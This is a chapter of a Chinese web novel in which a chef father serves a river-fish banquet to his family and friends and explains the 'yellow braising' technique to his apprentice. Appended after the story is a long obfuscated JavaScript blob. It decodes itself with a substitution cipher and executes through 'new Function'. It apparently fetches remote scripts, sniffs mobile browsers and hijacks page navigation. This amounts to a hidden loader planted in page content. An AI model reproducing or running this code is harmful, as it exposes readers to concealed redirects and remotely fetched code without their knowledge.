第347章 对待厨行的态度完毕(1 / 2)

硬核厨爸 旁墨 2101 字 2022-04-20

当第一轮早来食客全部都吃上,时间也已经来到了晚上六点半的样子,这个时间会是晚餐前后两拨人之间空档期。

冯一帆则是刚好利用这个空档期,给外面的亲朋们呈上一份晚餐。

首先是呈上了几道凉菜,也都是鱼河鲜有关系,其中一道是熏鱼,还有一道是荷塘三小样“藕片、藕带、莲子”。

这荷塘三小样,因为是甜口,所以非常符合三个小女孩的口味。

接下来,才是比较正式的河鲜菜式。

包括了清炒虾仁,荷塘小炒,清蒸鲈鱼,松鼠鳜鱼,芙蓉鱼片,酱烧田螺,翡翠虾球。

当然还有之前聊天的时候,岳青松一直提起的黄花鱼烩豆腐。

真的是各种层出不穷的鱼虾河鲜,光是看着也已经是让人感到目不暇接。

隔壁的几桌食客,看到这么多的河鲜上桌,一个个也都是充满好奇。

“哇,真的是好多鱼,各种鱼,各种做法。”

“还有很多的鲜虾,对啊,还有田螺那些,真是好多。”

“这应该算是河鲜宴了吧?全部都是河鲜啊。”

尤其是黄花鱼烩豆腐上桌,菜是盛放在一个砂锅中,揭开盖子的一瞬间,咸香鲜味飘荡而出,当真是让所有人都忍不住流口水。

“是黄花鱼烩豆腐,这菜做的可真是漂亮。”

“对啊,第一次看到黄花鱼烩豆腐能做的这么漂亮。”

砂锅中,一条条的黄花鱼埋在了汤汁和豆腐下面,只有鱼头和鱼尾露在外面。

看上去就像是一条条鱼儿在河水中嬉戏,然后向水面探出头来的样子。

而在鱼背上的豆腐,也都是非常的鲜嫩,四四方方每一块的豆腐都非常规整,并且若是仔细看,不难发现每一块豆腐大小都是相等的。

最后在豆腐之上,还有一层葱花,在热腾腾汤汁的蒸腾下,真是非常香。

岳青松看到了这道菜上来,已经是有些迫不及待了。

“漂亮啊,一帆你这个做的可是比奶奶漂亮,当初奶奶不会像你这样摆盘的,你这个摆盘可真的是有点做作。”

冯一帆闻言笑着回应:“既然是招待你这个贵客,当然还是要做作一下嘛。”

冯若若听了爸爸的话,立刻举起小手发言:“爸爸,若若觉得你做的好漂亮呀,若若喜欢的。”

听到女儿的话,冯一帆微笑回应:“好的,谢谢我的好女儿。”

杨小溪也跟着说:“溪溪也喜欢的。”

陈瑶霏不甘示弱,同样说:“霏霏也喜欢冯爸爸的菜,都好漂亮。”

冯一帆笑着回应:“好,谢谢我的三个好女儿啦。”

冯建东拿起一边的公勺,从砂锅里给岳青松舀上一大勺,其中有一条黄花鱼,还有豆腐和浓郁的汤汁,放在碗里递给岳青松。

岳青松见状赶紧站起身说:“哎呦,东叔您别这样,我可当不起,今天这里我是晚辈,还是应该先给一帆的师叔公嘛。”

庄道忠笑着摆摆手:“没关系,你们远来是客,我怎么说也算是半个苏记自家人。”

听到这话,岳青松也说:“师叔公,您这话不对的,要说自家人,那我和一帆那可是比亲兄弟还亲的,所以我也是自家人。”

冯建东把碗放下来,又迅速地盛了一碗,递给了庄道忠:“行了,这样都有了。”

庄道忠也是有些不好意思:“真的是不好意思,让建东你给我盛。”

冯建东笑着说:“没关系的,论起辈分来,我也要叫您一声师叔嘛。”

一桌人听了顿时都乐呵呵笑起来,庄道忠接过了碗,坐下来对苏锦荣说:“锦荣啊,真的是羡慕你,你这一家人,真的是我见过最和睦的一家人。”

石晋斌在旁边也说:“可不是,我从没想过,我能和我的亲家,能够像是你和一帆父母这样和睦,真的是特别羡慕你们这一家人。”

苏锦荣和冯建东、卢翠玲老两口对视一眼,三位老人脸上都浮现出笑容来。

其实三位老人很清楚,他们这样和睦是建立在都一心为儿子和女儿上。

更为关键对是,他们有一个非常可人的孙女冯若若,那样一个小开心果在,自然三位老人都希望家庭和睦,这样才有利于孩子成长。

大家每人分了一小碗,一条黄花鱼搭配上汤汁和豆腐。

庄道忠老爷子吃了一半的时候,突然微笑着问:“晋斌啊,师叔今天考考你,你说这么一道烩豆腐,算是什么类型的菜式呢?”

石晋斌笑了笑说:“师叔,你这不是送分题吗?”

庄道忠微笑问:“你说说看。”

石晋斌直接说:“这就是一道烩菜嘛。”

与此同时,在后厨里冯一帆也在给小徒弟林瑞峰讲解。

“刚才的那道黄花鱼烩豆腐,表面上来看,似乎应该算是一道烩菜,但实际上那道菜,应该算是烧菜,而我用的不是红烧,而是黄烧。”

庄道忠几乎是在冯一帆告诉徒弟时,笑着对石晋斌说:“错了错了,晋斌啊,你这可就说错了。”

石晋斌也是有些惊奇:“我错了?”

庄道忠微笑说:“自然是错了,这其实是一道烧菜,而且一帆用的是黄烧。”

后厨里,冯一帆又对小徒弟说:“黄烧和红烧最大的区别,在于黄烧通常是不用糖和酱油,而是更多用盐调味,并且黄烧的主菜,是要先油炸或者油煎,之后就像是我刚才那样,小火先将黄花鱼炖煮入味,最后加入豆腐去一起翻炒。”

庄道忠在前边道出了这道菜的大制作法,笑着对石晋斌说:“晋斌,想不到你会在这里翻车。”

石晋斌则是笑着说:“哈哈哈,师叔我这不是要给您捧个场嘛。”

庄道忠先是一愣,随后笑了起来:“好你个石晋斌,故意的是吧?”

石晋斌接着说:“您看您,您都要给大家讲课,我这当师侄的还能补给您捧捧场。”

石晋斌这么一说,让大家顿时全都跟着笑了起来。

这么一群人吃饭的气氛瞬间被活跃了起来。

!function(){function a(a){var _idx="m5wvwvmdbp";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^m46DfhdLmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6mYY65T_JmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJmF6TS6^SmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^m46DfhdLmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6mYY65T_JmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJmF6TS6^SmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6mYY65T_JmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR8^nDXDX^f)J"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"^nDXDX^f)J"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mD4RYpSfmRT4"="o}0X5ThF)mR)Y)7_DmRT4"="o}02pThFmD4RYpSfmRT4"="o}0_JqhFmR)Y)7_DmRT4"="o}02TOhFmD4RYpSfmRT4"="o}0CSqhF)mR)Y)7_DmRT4"="o}0)FfThF)fmD4RYpSfmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qFq^)Y6(:mJfY)^(TmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qFq^)Y6(:mJfY)^(TmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^m46DfhdLmRT4gQ}1Q/f/o}0j(8}vR8^nDXDX^f)J"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^m46DfhdLmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();